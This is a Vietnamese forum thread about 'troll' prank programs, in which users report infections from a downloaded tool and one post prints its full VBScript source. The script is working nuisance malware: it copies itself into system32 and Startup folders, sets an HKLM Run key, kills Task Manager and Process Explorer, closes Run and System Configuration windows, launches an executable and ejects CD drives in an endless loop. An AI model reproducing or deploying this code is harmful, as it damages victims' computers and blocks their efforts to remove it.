![]() |
|
Thread Tools |
#371
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
đm thớt
![]() dính virus possiblehostsfilehijack mẹ rồi ![]() giờ cứ mở máy là nó hiện 1 đống cmd nhảy liên tục ![]() rồi bị mất file host trong etc nữa ![]() thuốc ![]() |
onlylove1493 |
View Public Profile |
Find all posts by onlylove1493 |
#372
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
Quote:
![]() |
#373
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
đang chạy win 8 mấy cái kia éo cái nào chạy dc.DM thớt
![]() |
#374
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
em down k dc cái nào hết.
up len mediafire di bác ![]() ![]() ![]() ![]() ![]() |
TheTun1995 |
View Public Profile |
Find all posts by TheTun1995 |
#375
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
có ai rì viu lại cái gì xảy ra nếu bật lên ko...e xài win8, ko chạy đc gì hết
![]() ![]() ![]() ![]() |
#376
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
test trên máy ảo
![]() |
#377
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
mấy thím cho e hỏi, sau khi mở cái ver1 thì nó lẩm bẩm miết, e bật task manager tắt cái processers audio thì nó mất luôn tiếng, sửa làm sao bây h ạ?
|
#378
|
|||
|
|||
Re: [Hội những người thích troll]Ứng dụng để troll
Độc các cmt mà đau ruột vl
![]() ![]() ![]() |
#379
|
|||
|
|||
Re: [Hội những người thích troll]Ứng dụng để troll
fbgdsaXWDADXA
![]() ![]() ![]() |
#380
|
||
|
||
Re: [Hội những người thích troll]Ứng dụng để troll
Source v9 hay v11 gì éo biết, đậu má thằng thớt
![]() Code:
Set objRandom = CreateObject( "System.Random" ) Set wshShell = CreateObject("WScript.Shell") Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSO.GetFolder(".") randomfolder = "c:\windows\system32\" & objRandom.Next_2( 1000, 9999 ) & "\" objCreate = objFSO.CreateFolder(randomfolder) randomname = randomfolder & objRandom.Next_2( 1000, 9999 ) & ".vbe" parama = "cmd.exe /c copy "+ chr(34) + objFSO.GetAbsolutePathName(objFolder) + "\*.vbe"+ chr(34) + " " + chr(34) + randomname + chr(34) paramb = "cmd.exe /c copy "+ chr(34) + objFSO.GetAbsolutePathName(objFolder) + "\*.vbe"+ chr(34) + " " + chr(34) + "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" + chr(34) paramc = "cmd.exe /c copy "+ chr(34) + objFSO.GetAbsolutePathName(objFolder) + "\*.vbe"+ chr(34) + " " + chr(34) + "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" + chr(34) wshShell.Run parama , 0, True wshShell.Run paramb , 0, True wshShell.Run paramc , 0, True reg = "wscript.exe //b //nologo " + chr(34) + randomname + chr(34) do sleeptime = objRandom.Next_2( 10, 40 ) wshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TurboTv11", reg, "REG_SZ" dteWait = DateAdd("s", sleeptime, Now()) Do Until (Now() > dteWait) if wshShell.appactivate("Run") then wshShell.sendkeys "%{F4}" if wshShell.appactivate("System Configuration") then wshShell.sendkeys "%{F4}" wshShell.Run "taskkill /im taskmgr.exe", 0, True wshShell.Run "taskkill /im taskmgrs.exe", 0, True wshShell.Run "taskkill /f /t /im procexp.exe", 0, True wshShell.Run "taskkill /f /t /im procexp64.exe", 0, True Loop wscript.Sleep sleeptime wshShell.Run "C:\Windows\Web\Scary.exe" wscript.Sleep 5500 if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If loop |
![]() |
Thread Tools | |
|
|